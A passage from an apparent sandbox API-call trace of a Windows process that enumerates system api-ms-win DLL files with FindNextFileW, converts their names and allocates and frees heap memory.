RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.291] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.291] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.291] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.291] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d241a90, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d241a90, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-1-0.dll", cAlternateFileName="")) returned 1 [0188.291] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.292] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0188.292] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x119c288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0188.292] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.292] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.292] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.292] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.292] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.292] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="")) returned 1 [0188.292] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.292] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0188.292] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", cchWideChar=32, lpMultiByteStr=0x119c120, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0188.292] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.292] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.292] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.292] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.292] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.292] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="api-ms-win-core-sysinfo-l1-1-0.dll", cAlternateFileName="")) returned 1 [0188.292] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.292] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0188.292] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x119c288, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0188.292] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.292] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.292] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.292] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.292] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.292] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d267bef, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d267bef, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d265d70, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="api-ms-win-core-threadpool-l1-1-0.dll", cAlternateFileName="")) returned 1 [0188.292] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.292] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0188.292] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x119c120, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0188.292] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.292] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.292] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.293] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.293] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.293] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb859c590, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb859c590, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="")) returned 1 [0188.293] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.293] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0188.293] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x119c288, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0188.293] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.293] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.293] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.293] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.293] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.293] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d21b931, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d21b931, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d21a280, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="api-ms-win-core-util-l1-1-0.dll", cAlternateFileName="")) returned 1 [0188.293] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.293] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e950 [0188.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0188.293] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0188.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x119c120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0188.293] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c288 [0188.293] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0188.293] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c288) returned 1 [0188.293] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e950) returned 1 [0188.293] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119e8c8) returned 1 [0188.293] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d9fe1dc, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d9fe1dc, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d9fd330, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="api-ms-win-core-xstate-l1-1-0.dll", cAlternateFileName="")) returned 1 [0188.293] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119e8c8 [0188.293] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="api-ms-win-core-xstate-l2-1-0.dll", cAlternateFileName="")) returned 1 [0188.293] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="api-ms-win-crt-conio-l1-1-0.dll", cAlternateFileName="")) returned 1 [0188.293] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb852a170, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb852a170, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="api-ms-win-crt-convert-l1-1-0.dll", cAlternateFileName="")) returned 1 [0188.293] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8504010, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8504010, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="api-ms-win-crt-environment-l1-1-0.dll", cAlternateFileName="")) returned 1 [0188.293] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb852a170, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb852a170, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3560, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll", cAlternateFileName="")) returned 1 [0188.293] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="api-ms-win-crt-heap-l1-1-0.dll", cAlternateFileName="")) returned 1 [0188.293] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="api-ms-win-crt-locale-l1-1-0.dll", cAlternateFileName="")) returned 1 [0188.294] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb846ba90, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb846ba90, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x5760, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="api-ms-win-crt-math-l1-1-0.dll", cAlternateFileName="")) returned 1 [0188.294] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8445930, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8445930, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4d60, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="api-ms-win-crt-multibyte-l1-1-0.dll", cAlternateFileName="")) returned 1 [0188.294] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8125c50, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8125c50, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x10360, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="api-ms-win-crt-private-l1-1-0.dll", cAlternateFileName="")) returned 1 [0188.294] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="api-ms-win-crt-process-l1-1-0.dll", cAlternateFileName="")) returned 1 [0188.294] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84b7d50, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84b7d50, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3f60, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="api-ms-win-crt-runtime-l1-1-0.dll", cAlternateFileName="")) returned 1 [0188.294] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4560, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="api-ms-win-crt-stdio-l1-1-0.dll", cAlternateFileName="")) returned 1 [0188.294] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb85502d0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb85502d0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4560, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="api-ms-win-crt-string-l1-1-0.dll", cAlternateFileName="")) returned 1 [0188.294] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="api-ms-win-crt-time-l1-1-0.dll", cAlternateFileName="")) returned 1 [0188.294] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="api-ms-win-crt-utility-l1-1-0.dll", cAlternateFileName="")) returned 1 [0188.294] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8504010, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8504010, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="api-ms-win-eventing-provider-l1-1-0.dll", cAlternateFileName="")) returned 1 [0188.294] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1833b5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1833b5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d1a7690, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="api-ms-win-security-base-l1-1-0.dll", cAlternateFileName="")) returned 1 [0188.294] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x4f381b9f, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x4f381b9f, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x4f37fbd0, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="api-ms-win-security-lsalookup-l1-1-0.dll", cAlternateFileName="")) returned 1 [0188.294] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x4f3a7cfe, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x4f3a7cfe, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x4f3a6cd0, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="api-ms-win-security-sddl-l1-1-0.dll", cAlternateFileName="")) returned 1 [0188.294] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="api-ms-win-service-core-l1-1-0.dll", cAlternateFileName="")) returned 1 [0188.294] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1370f7, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1370f7, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x638d80, dwReserved1=0x0, cFileName="api-ms-win-service-management-l1-1-0.dll", cAlternateFileName="")) returned 1 [0188.294] FindNextFileW (in: hFindFile=0x63fd00, lpFindFileData=0x198f650 | out: lpFindFileData=0x198f650*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d09eb7b, ftCreationTime.dwHighDateTime=0x1ca040f, 